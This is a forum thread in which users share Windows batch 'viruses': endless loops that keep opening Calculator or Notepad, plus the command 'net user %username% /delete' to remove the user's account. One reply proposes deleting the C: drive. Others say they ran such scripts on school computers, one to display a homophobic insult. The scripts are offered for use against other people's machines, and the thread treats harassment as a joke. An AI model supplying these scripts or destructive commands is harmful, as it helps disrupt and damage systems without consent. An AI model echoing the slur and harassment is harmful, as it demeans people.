[Batch] Annoying Virus (wont stop opening the calculator)

Ok here is a little virus that wont stop opening the Calculator untill the user either logs off or shuts his computer down.

Code:

@echo off
title A pain
:start
cls
start %SystemRoot%\system32\calc.exe
goto start

Thats for windows xp
here is for windows 95, 98, and Windows Nt 4.0

Code:

@echo off
Title a pain
:start
cls
START C:\WINDOW\CALC
goto start

They should work (im sure as heck not gona try)

 

Oooh?

You know what? try this:

net user %username% /delete

It won't work, but I sure wish it did.

 

Some "Virus" oh ya it dousnt keep opening your calc, it stops after 5 seconds..

 

Treid it on my skewls comp.
Dident work -.-

 

.. Thats..Simple..

Just like

Code:

:suxsobad
ECHO Teh noobiest viroos eva
start notepad.exe
GoTo suxsobad

Simple.. Did u just google "batch viruses" or something?

 

Why are you guys still posting?

 

if you ever want to make a real "virus" learn c++ c# or any other high level language but my god not batch it puts you into skid pit :\

 

Lol looks like you owned him.

Why not make a virus which deletes c://

Then ill be satisfied.

 

Haha I ndid this at my school except I made it open a program I made that said YOURE GAY!!! and got my Computer teacher SOOOOO pissed off.